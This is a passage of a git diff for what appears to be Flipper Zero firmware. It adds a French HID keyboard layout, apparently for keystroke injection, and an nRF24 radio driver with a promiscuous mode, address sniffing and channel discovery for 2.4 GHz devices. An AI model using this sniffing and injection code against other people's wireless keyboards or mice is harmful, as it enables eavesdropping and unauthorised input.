+ HID_KEYBOARD_NONE, // VT + HID_KEYBOARD_NONE, // FF + HID_KEYBOARD_NONE, // CR + HID_KEYBOARD_NONE, // SO + HID_KEYBOARD_NONE, // SI + HID_KEYBOARD_NONE, // DEL + HID_KEYBOARD_NONE, // DC1 + HID_KEYBOARD_NONE, // DC2 + HID_KEYBOARD_NONE, // DC3 + HID_KEYBOARD_NONE, // DC4 + HID_KEYBOARD_NONE, // NAK + HID_KEYBOARD_NONE, // SYN + HID_KEYBOARD_NONE, // ETB + HID_KEYBOARD_NONE, // CAN + HID_KEYBOARD_NONE, // EM + HID_KEYBOARD_NONE, // SUB + HID_KEYBOARD_NONE, // ESC + HID_KEYBOARD_NONE, // FS + HID_KEYBOARD_NONE, // GS + HID_KEYBOARD_NONE, // RS + HID_KEYBOARD_NONE, // US + HID_KEYBOARD_FR_SPACE, // ' ' Space + HID_KEYBOARD_FR_EXCLAMATION, // ! + HID_KEYBOARD_FR_DOUBLE_QUOTE, // " + HID_KEYBOARD_FR_DOUBLE_QUOTE | KEY_MOD_RIGHT_ALT, // # + HID_KEYBOARD_FR_DOLLAR, // $ + HID_KEYBOARD_FR_U_BACKTICK | KEY_MOD_LEFT_SHIFT, // % + HID_KEYBOARD_FR_AND, // & + HID_KEYBOARD_FR_SINGLE_QUOTE, // ' + HID_KEYBOARD_FR_LEFT_PARENTHESIS, // ( + HID_KEYBOARD_FR_RIGHT_PARENTHESIS, // ) + HID_KEYBOARD_FR_STAR, // * + HID_KEYBOARD_FR_EQUAL | KEY_MOD_LEFT_SHIFT, // + + HID_KEYBOARD_FR_COMMA, // , + HID_KEYBOARD_FR_DASH, // - + HID_KEYBOARD_FR_SEMI_COLON | KEY_MOD_LEFT_SHIFT, // . + HID_KEYBOARD_FR_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // / + HID_KEYBOARD_FR_A_BACKTICK | KEY_MOD_LEFT_SHIFT, // 0 + HID_KEYBOARD_FR_AND | KEY_MOD_LEFT_SHIFT, // 1 + HID_KEYBOARD_FR_E_ACCENT | KEY_MOD_LEFT_SHIFT, // 2 + HID_KEYBOARD_FR_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // 3 + HID_KEYBOARD_FR_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // 4 + HID_KEYBOARD_FR_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // 5 + HID_KEYBOARD_FR_DASH | KEY_MOD_LEFT_SHIFT, // 6 + HID_KEYBOARD_FR_E_BACKTICK | KEY_MOD_LEFT_SHIFT, // 7 + HID_KEYBOARD_FR_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // 8 + HID_KEYBOARD_FR_C_CEDILLE | KEY_MOD_LEFT_SHIFT, // 9 + HID_KEYBOARD_FR_DOUBLE_POINTS, // : + HID_KEYBOARD_FR_SEMI_COLON, // ; + HID_KEYBOARD_FR_SMALLER, // < + HID_KEYBOARD_FR_EQUAL, // = + HID_KEYBOARD_FR_SMALLER | KEY_MOD_LEFT_SHIFT, // > + HID_KEYBOARD_FR_COMMA | KEY_MOD_LEFT_SHIFT, // ? + HID_KEYBOARD_FR_A_BACKTICK | KEY_MOD_RIGHT_ALT, // @ + HID_KEYBOARD_FR_A | KEY_MOD_LEFT_SHIFT, // A + HID_KEYBOARD_FR_B | KEY_MOD_LEFT_SHIFT, // B + HID_KEYBOARD_FR_C | KEY_MOD_LEFT_SHIFT, // C + HID_KEYBOARD_FR_D | KEY_MOD_LEFT_SHIFT, // D + HID_KEYBOARD_FR_E | KEY_MOD_LEFT_SHIFT, // E + HID_KEYBOARD_FR_F | KEY_MOD_LEFT_SHIFT, // F + HID_KEYBOARD_FR_G | KEY_MOD_LEFT_SHIFT, // G + HID_KEYBOARD_FR_H | KEY_MOD_LEFT_SHIFT, // H + HID_KEYBOARD_FR_I | KEY_MOD_LEFT_SHIFT, // I + HID_KEYBOARD_FR_J | KEY_MOD_LEFT_SHIFT, // J + HID_KEYBOARD_FR_K | KEY_MOD_LEFT_SHIFT, // K + HID_KEYBOARD_FR_L | KEY_MOD_LEFT_SHIFT, // L + HID_KEYBOARD_FR_M | KEY_MOD_LEFT_SHIFT, // M + HID_KEYBOARD_FR_N | KEY_MOD_LEFT_SHIFT, // N + HID_KEYBOARD_FR_O | KEY_MOD_LEFT_SHIFT, // O + HID_KEYBOARD_FR_P | KEY_MOD_LEFT_SHIFT, // P + HID_KEYBOARD_FR_Q | KEY_MOD_LEFT_SHIFT, // Q + HID_KEYBOARD_FR_R | KEY_MOD_LEFT_SHIFT, // R + HID_KEYBOARD_FR_S | KEY_MOD_LEFT_SHIFT, // S + HID_KEYBOARD_FR_T | KEY_MOD_LEFT_SHIFT, // T + HID_KEYBOARD_FR_U | KEY_MOD_LEFT_SHIFT, // U + HID_KEYBOARD_FR_V | KEY_MOD_LEFT_SHIFT, // V + HID_KEYBOARD_FR_W | KEY_MOD_LEFT_SHIFT, // W + HID_KEYBOARD_FR_X | KEY_MOD_LEFT_SHIFT, // X + HID_KEYBOARD_FR_Y | KEY_MOD_LEFT_SHIFT, // Y + HID_KEYBOARD_FR_Z | KEY_MOD_LEFT_SHIFT, // Z + HID_KEYBOARD_FR_LEFT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // [ + HID_KEYBOARD_FR_UNDERSCORE | KEY_MOD_RIGHT_ALT, // bslash + HID_KEYBOARD_FR_RIGHT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // ] + HID_KEYBOARD_FR_CIRCUMFLEX, // ^ + HID_KEYBOARD_FR_UNDERSCORE, // _ + HID_KEYBOARD_FR_E_BACKTICK | KEY_MOD_RIGHT_ALT, // ` + HID_KEYBOARD_FR_A, // a + HID_KEYBOARD_FR_B, // b + HID_KEYBOARD_FR_C, // c + HID_KEYBOARD_FR_D, // d + HID_KEYBOARD_FR_E, // e + HID_KEYBOARD_FR_F, // f + HID_KEYBOARD_FR_G, // g + HID_KEYBOARD_FR_H, // h + HID_KEYBOARD_FR_I, // i + HID_KEYBOARD_FR_J, // j + HID_KEYBOARD_FR_K, // k + HID_KEYBOARD_FR_L, // l + HID_KEYBOARD_FR_M, // m + HID_KEYBOARD_FR_N, // n + HID_KEYBOARD_FR_O, // o + HID_KEYBOARD_FR_P, // p + HID_KEYBOARD_FR_Q, // q + HID_KEYBOARD_FR_R, // r + HID_KEYBOARD_FR_S, // s + HID_KEYBOARD_FR_T, // t + HID_KEYBOARD_FR_U, // u + HID_KEYBOARD_FR_V, // v + HID_KEYBOARD_FR_W, // w + HID_KEYBOARD_FR_X, // x + HID_KEYBOARD_FR_Y, // y + HID_KEYBOARD_FR_Z, // z + HID_KEYBOARD_FR_SINGLE_QUOTE | KEY_MOD_RIGHT_ALT, // { + HID_KEYBOARD_FR_DASH | KEY_MOD_RIGHT_ALT, // | + HID_KEYBOARD_FR_EQUAL | KEY_MOD_RIGHT_ALT, // } + HID_KEYBOARD_FR_E_ACCENT | KEY_MOD_RIGHT_ALT, // ~ + HID_KEYBOARD_NONE, // DEL +}; + +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunused-variable" +static const uint16_t* hid_asciimaps[] = {hid_asciimap, hid_asciimap_de, hid_asciimap_fr}; +#pragma GCC diagnostic pop + typedef struct { uint32_t vid; uint32_t pid; @@ -163,7 +637,8 @@ typedef struct { typedef void (*HidStateCallback)(bool state, void* context); /** ASCII to keycode conversion macro */ -#define HID_ASCII_TO_KEY(x) (((uint8_t)x < 128) ? (hid_asciimap[(uint8_t)x]) : HID_KEYBOARD_NONE) +#define HID_ASCII_TO_KEY(x, y) \ + (((uint8_t)y < 128) ? (hid_asciimaps[(uint8_t)x][(uint8_t)y]) : HID_KEYBOARD_NONE) /** HID keyboard leds */ enum HidKeyboardLeds { @@ -250,4 +725,4 @@ bool furi_hal_hid_consumer_key_press(uint16_t button); * * @param button key code */ -bool furi_hal_hid_consumer_key_release(uint16_t button); +bool furi_hal_hid_consumer_key_release(uint16_t button); \ No newline at end of file diff --git a/lib/drivers/nrf24.c b/lib/drivers/nrf24.c new file mode 100644 index 000000000..a1db84aba --- /dev/null +++ b/lib/drivers/nrf24.c @@ -0,0 +1,513 @@ +#include "nrf24.h" +#include +#include +#include +#include +#include + +void nrf24_init() { + furi_hal_spi_bus_handle_init(nrf24_HANDLE); + furi_hal_spi_acquire(nrf24_HANDLE); + furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh); + furi_hal_gpio_write(nrf24_CE_PIN, false); +} + +void nrf24_spi_trx( + FuriHalSpiBusHandle* handle, + uint8_t* tx, + uint8_t* rx, + uint8_t size, + uint32_t timeout) { + UNUSED(timeout); + furi_hal_gpio_write(handle->cs, false); + furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT); + furi_hal_gpio_write(handle->cs, true); +} + +uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) { + uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data}; + uint8_t rx[2] = {0}; + nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT); + return rx[0]; +} + +uint8_t + nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) { + uint8_t tx[size + 1]; + uint8_t rx[size + 1]; + memset(rx, 0, size + 1); + tx[0] = W_REGISTER | (REGISTER_MASK & reg); + memcpy(&tx[1], data, size); + nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); + return rx[0]; +} + +uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) { + uint8_t tx[size + 1]; + uint8_t rx[size + 1]; + memset(rx, 0, size + 1); + tx[0] = R_REGISTER | (REGISTER_MASK & reg); + memset(&tx[1], 0, size); + nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); + memcpy(data, &rx[1], size); + return rx[0]; +} + +uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) { + uint8_t tx[] = {FLUSH_RX}; + uint8_t rx[] = {0}; + nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT); + return rx[0]; +} + +uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) { + uint8_t tx[] = {FLUSH_TX}; + uint8_t rx[] = {0}; + nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT); + return rx[0]; +} + +uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) { + uint8_t maclen; + nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1); + maclen &= 3; + return maclen + 2; +} + +uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) { + assert(maclen > 1 && maclen < 6); + uint8_t status = 0; + status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2); + return status; +} + +uint8_t nrf24_status(FuriHalSpiBusHandle* handle) { + uint8_t status; + uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)}; + nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT); + return status; +} + +uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) { + uint8_t setup = 0; + uint32_t rate = 0; + nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1); + setup &= 0x28; + if(setup == 0x20) + rate = 250000; // 250kbps + else if(setup == 0x08) + rate = 2000000; // 2Mbps + else if(setup == 0x00) + rate = 1000000; // 1Mbps + + return rate; +} + +uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) { + uint8_t r6 = 0; + uint8_t status = 0; + if(!rate) rate = 2000000; + + nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register + r6 = r6 & (~0x28); // Clear rate fields. + if(rate == 2000000) + r6 = r6 | 0x08; + else if(rate == 1000000) + r6 = r6; + else if(rate == 250000) + r6 = r6 | 0x20; + + status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate. + return status; +} + +uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) { + uint8_t channel = 0; + nrf24_read_reg(handle, REG_RF_CH, &channel, 1); + return channel; +} + +uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) { + uint8_t status; + status = nrf24_write_reg(handle, REG_RF_CH, chan); + return status; +} + +uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) { + uint8_t size = 0; + uint8_t status = 0; + size = nrf24_get_maclen(handle); + status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size); + return status; +} + +uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) { + uint8_t status = 0; + uint8_t clearmac[] = {0, 0, 0, 0, 0}; + nrf24_set_maclen(handle, size); + nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5); + status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size); + return status; +} + +uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) { + uint8_t size = 0; + uint8_t status = 0; + size = nrf24_get_maclen(handle); + status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size); + return status; +} + +uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) { + uint8_t status = 0; + uint8_t clearmac[] = {0, 0, 0, 0, 0}; + nrf24_set_maclen(handle, size); + nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5); + status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size); + return status; +} + +uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) { + uint8_t len = 0; + nrf24_read_reg(handle, RX_PW_P0, &len, 1); + return len; +} + +uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) { + uint8_t status = 0; + status = nrf24_write_reg(handle, RX_PW_P0, len); + return status; +} + +uint8_t + nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) { + uint8_t status = 0; + uint8_t size = 0; + uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0}; + uint8_t rx_pl_wid[] = {0, 0}; + uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command + uint8_t tmp_packet[33] = {0}; + + status = nrf24_status(handle); + + if(status & 0x40) { + if(full) + size = nrf24_get_packetlen(handle); + else { + nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT); + size = rx_pl_wid[1]; + } + + tx_cmd[0] = R_RX_PAYLOAD; + nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT); + nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit. + memcpy(packet, &tmp_packet[1], size); + } else if(status == 0) { + nrf24_flush_rx(handle); + nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit. + } + + *packetsize = size; + return status; +} + +uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) { + uint8_t status = 0; + uint8_t tx[size + 1]; + uint8_t rx[size + 1]; + memset(tx, 0, size + 1); + memset(rx, 0, size + 1); + + if(!ack) + tx[0] = W_TX_PAYLOAD_NOACK; + else + tx[0] = W_TX_PAYLOAD; + + memcpy(&tx[1], payload, size); + nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); + nrf24_set_tx_mode(handle); + + while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle); + + if(status & MAX_RT) nrf24_flush_tx(handle); + + nrf24_set_idle(handle); + nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT); + return status & TX_DS; +} + +uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) { + uint8_t status = 0; + uint8_t cfg = 0; + nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); + cfg = cfg | 2; + status = nrf24_write_reg(handle, REG_CONFIG, cfg); + furi_delay_ms(5000); + return status; +} + +uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) { + uint8_t status = 0; + uint8_t cfg = 0; + nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); + cfg &= 0xfc; // clear bottom two bits to power down the radio + status = nrf24_write_reg(handle, REG_CONFIG, cfg); + //nr204_write_reg(handle, REG_EN_RXADDR, 0x0); + furi_hal_gpio_write(nrf24_CE_PIN, false); + return status; +} + +uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) { + uint8_t status = 0; + uint8_t cfg = 0; + //status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX + nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); + cfg |= 0x03; // PWR_UP, and PRIM_RX + status = nrf24_write_reg(handle, REG_CONFIG, cfg); + //nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1 + furi_hal_gpio_write(nrf24_CE_PIN, true); + furi_delay_ms(2000); + return status; +} + +uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) { + uint8_t status = 0; + uint8_t cfg = 0; + furi_hal_gpio_write(nrf24_CE_PIN, false); + nrf24_write_reg(handle, REG_STATUS, 0x30); + //status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP + nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); + cfg &= 0xfe; // disable PRIM_RX + cfg |= 0x02; // PWR_UP + status = nrf24_write_reg(handle, REG_CONFIG, cfg); + furi_hal_gpio_write(nrf24_CE_PIN, true); + furi_delay_ms(2); + return status; +} + +void nrf24_configure( + FuriHalSpiBusHandle* handle, + uint8_t rate, + uint8_t* srcmac, + uint8_t* dstmac, + uint8_t maclen, + uint8_t channel, + bool noack, + bool disable_aa) { + assert(channel <= 125); + assert(rate == 1 || rate == 2); + if(rate == 2) + rate = 8; // 2Mbps + else + rate = 0; // 1Mbps + + nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF + nrf24_set_idle(handle); + nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts + if(disable_aa) + nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst + else + nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst + + nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes + if(noack) + nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack + else { + nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC + nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack + nrf24_write_reg( + handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay + } + + nrf24_set_idle(handle); + nrf24_flush_rx(handle); + nrf24_flush_tx(handle); + + if(maclen) nrf24_set_maclen(handle, maclen); + if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen); + if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen); + + nrf24_write_reg(handle, REG_RF_CH, channel); + nrf24_write_reg(handle, REG_RF_SETUP, rate); + furi_delay_ms(200); +} + +void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) { + //uint8_t preamble[] = {0x55, 0x00}; // little endian + uint8_t preamble[] = {0xAA, 0x00}; // little endian + //uint8_t preamble[] = {0x00, 0x55}; // little endian + //uint8_t preamble[] = {0x00, 0xAA}; // little endian + nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF + nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts + nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst + nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst + nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack + nrf24_set_maclen(handle, 2); // shortest address + nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything + nrf24_set_packetlen(handle, 32); // set max packet length + nrf24_set_idle(handle); + nrf24_flush_rx(handle); + nrf24_flush_tx(handle); + nrf24_write_reg(handle, REG_RF_CH, channel); + nrf24_write_reg(handle, REG_RF_SETUP, rate); + furi_delay_ms(200); + + // prime for RX, no checksum + nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC + furi_hal_gpio_write(nrf24_CE_PIN, true); + furi_delay_ms(2000); +} + +void hexlify(uint8_t* in, uint8_t size, char* out) { + memset(out, 0, size * 2); + for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]); +} + +uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) { + uint64_t ret = 0; + for(int i = 0; i < size; i++) + if(bigendian) + ret |= bytes[i] << ((size - 1 - i) * 8); + else + ret |= bytes[i] << (i * 8); + + return ret; +} + +void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) { + for(int i = 0; i < 8; i++) { + if(bigendian) + out[i] = (val >> ((7 - i) * 8)) & 0xff; + else + out[i] = (val >> (i * 8)) & 0xff; + } +} + +uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) { + uint32_t ret = 0; + for(int i = 0; i < 4; i++) + if(bigendian) + ret |= bytes[i] << ((3 - i) * 8); + else + ret |= bytes[i] << (i * 8); + + return ret; +} + +void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) { + for(int i = 0; i < 4; i++) { + if(bigendian) + out[i] = (val >> ((3 - i) * 8)) & 0xff; + else + out[i] = (val >> (i * 8)) & 0xff; + } +} + +uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) { + uint16_t ret = 0; + for(int i = 0; i < 2; i++) + if(bigendian) + ret |= bytes[i] << ((1 - i) * 8); + else + ret |= bytes[i] << (i * 8); + + return ret; +} + +void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) { + for(int i = 0; i < 2; i++) { + if(bigendian) + out[i] = (val >> ((1 - i) * 8)) & 0xff; + else + out[i] = (val >> (i * 8)) & 0xff; + } +} + +// handle iffyness with preamble processing sometimes being a bit (literally) off +void alt_address_old(uint8_t* packet, uint8_t* altaddr) { + uint8_t macmess_hi_b[4]; + uint8_t macmess_lo_b[2]; + uint32_t macmess_hi; + uint16_t macmess_lo; + uint8_t preserved; + + // get first 6 bytes into 32-bit and 16-bit variables + memcpy(macmess_hi_b, packet, 4); + memcpy(macmess_lo_b, packet + 4, 2); + + macmess_hi = bytes_to_int32(macmess_hi_b, true); + + //preserve least 7 bits from hi that will be shifted down to lo + preserved = macmess_hi & 0x7f; + macmess_hi >>= 7; + + macmess_lo = bytes_to_int16(macmess_lo_b, true); + macmess_lo >>= 7; + macmess_lo = (preserved << 9) | macmess_lo; + int32_to_bytes(macmess_hi, macmess_hi_b, true); + int16_to_bytes(macmess_lo, macmess_lo_b, true); + memcpy(altaddr, &macmess_hi_b[1], 3); + memcpy(altaddr + 3, macmess_lo_b, 2); +} + +bool validate_address(uint8_t* addr) { + uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}}; + for(int i = 0; i < 4; i++) + for(int j = 0; j < 2; j++) + if(!memcmp(addr + j * 2, bad[i], 2)) return false; + + return true; +} + +bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) { + bool found = false; + uint8_t packet[32] = {0}; + uint8_t packetsize; + //char printit[65]; + uint8_t status = 0; + status = nrf24_rxpacket(handle, packet, &packetsize, true); + if(status & 0x40) { + if(validate_address(packet)) { + for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i]; + + /* + alt_address(packet, packet); + + for(i = 0; i < maclen; i++) + address[i + 5] = packet[maclen - 1 - i]; + */ + + //memcpy(address, packet, maclen); + //hexlify(packet, packetsize, printit); + found = true; + } + } + + return found; +} + +uint8_t nrf24_find_channel( + FuriHalSpiBusHandle* handle, + uint8_t* srcmac, + uint8_t* dstmac, + uint8_t maclen, + uint8_t rate, + uint8_t min_channel, + uint8_t max_channel, + bool autoinit) { + uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack + uint8_t ch = max_channel + 1; // means fail + nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false); + for(ch = min_channel; ch <= max_channel + 1; ch++) { + nrf24_write_reg(handle, REG_RF_CH, ch); + if(nrf24_txpacket(handle, ping_packet, 4, true)) break; + } + + if(autoinit) { + FURI_LOG_I("nrf24", "initializing radio for channel %d", ch); + nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false); + return ch; + } + + return ch; +} \ No newline at end of file diff --git a/lib/drivers/nrf24.h b/lib/drivers/nrf24.h new file mode 100644 index 000000000..ea0f58377 --- /dev/null +++ b/lib/drivers/nrf24.h @@ -0,0 +1,368 @@ +#pragma once +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define R_REGISTER 0x00 +#define W_REGISTER 0x20 +#define REGISTER_MASK 0x1F +#define ACTIVATE 0x50 +#define R_RX_PL_WID 0x60 +#define R_RX_PAYLOAD 0x61 +#define W_TX_PAYLOAD 0xA0 +#define W_TX_PAYLOAD_NOACK 0xB0 +#define W_ACK_PAYLOAD 0xA8 +#define FLUSH_TX 0xE1 +#define FLUSH_RX 0xE2 +#define REUSE_TX_PL 0xE3 +#define RF24_NOP 0xFF + +#define REG_CONFIG 0x00 +#define REG_EN_AA 0x01 +#define REG_EN_RXADDR 0x02 +#define REG_SETUP_AW 0x03 +#define REG_SETUP_RETR 0x04 +#define REG_DYNPD 0x1C +#define REG_FEATURE 0x1D +#define REG_RF_SETUP 0x06 +#define REG_STATUS 0x07 +#define REG_RX_ADDR_P0 0x0A +#define REG_RF_CH 0x05 +#define REG_TX_ADDR 0x10 + +#define RX_PW_P0 0x11 +#define TX_DS 0x20 +#define MAX_RT 0x10 + +#define nrf24_TIMEOUT 500 +#define nrf24_CE_PIN &gpio_ext_pb2 +#define nrf24_HANDLE &furi_hal_spi_bus_handle_external + + +/* Low level API */ + + +/** Write device register + * + * @param handle - pointer to FuriHalSpiHandle + * @param reg - register + * @param data - data to write + * + * @return device status + */ +uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data); + + +/** Write buffer to device register + * + * @param handle - pointer to FuriHalSpiHandle + * @param reg - register + * @param data - data to write + * @param size - size of data to write + * + * @return device status + */ +uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); + + +/** Read device register + * + * @param handle - pointer to FuriHalSpiHandle + * @param reg - register + * @param[out] data - pointer to data + * + * @return device status + */ +uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); + + +/** Power up the radio for operation + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return device status + */ +uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle); + + +/** Power down the radio + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return device status + */ +uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle); + + +/** Sets the radio to RX mode + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return device status + */ +uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle); + + +/** Sets the radio to TX mode + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return device status + */ +uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle); + +/*=============================================================================================================*/ + +/* High level API */ + +/** Must call this before using any other nrf24 API + * + */ +void nrf24_init(); + + +/** Send flush rx command + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return device status + */ +uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle); + +/** Send flush tx command + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return device status + */ +uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle); + + +/** Gets the RX packet length in data pipe 0 + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return packet length in data pipe 0 + */ +uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle); + + +/** Sets the RX packet length in data pipe 0 + * + * @param handle - pointer to FuriHalSpiHandle + * @param len - length to set + * + * @return device status + */ +uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len); + + +/** Gets configured length of MAC address + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return MAC address length + */ +uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle); + +/** Sets configured length of MAC address + * + * @param handle - pointer to FuriHalSpiHandle + * @param maclen - length to set MAC address to, must be greater than 1 and less than 6 + * + * @return MAC address length + */ +uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen); + +/** Gets the current status flags from the STATUS register + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return status flags + */ +uint8_t nrf24_status(FuriHalSpiBusHandle* handle); + +/** Gets the current transfer rate + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return transfer rate in bps + */ +uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle); + +/** Sets the transfer rate + * + * @param handle - pointer to FuriHalSpiHandle + * @param rate - the transfer rate in bps + * + * @return device status + */ +uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate); + +/** Gets the current channel + * In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency + * + * @param handle - pointer to FuriHalSpiHandle + * + * @return channel + */ +uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle); + + +/** Sets the channel + * + * @param handle - pointer to FuriHalSpiHandle + * @param frequency - the frequency in hertz + * + * @return device status + */ +uint8_t 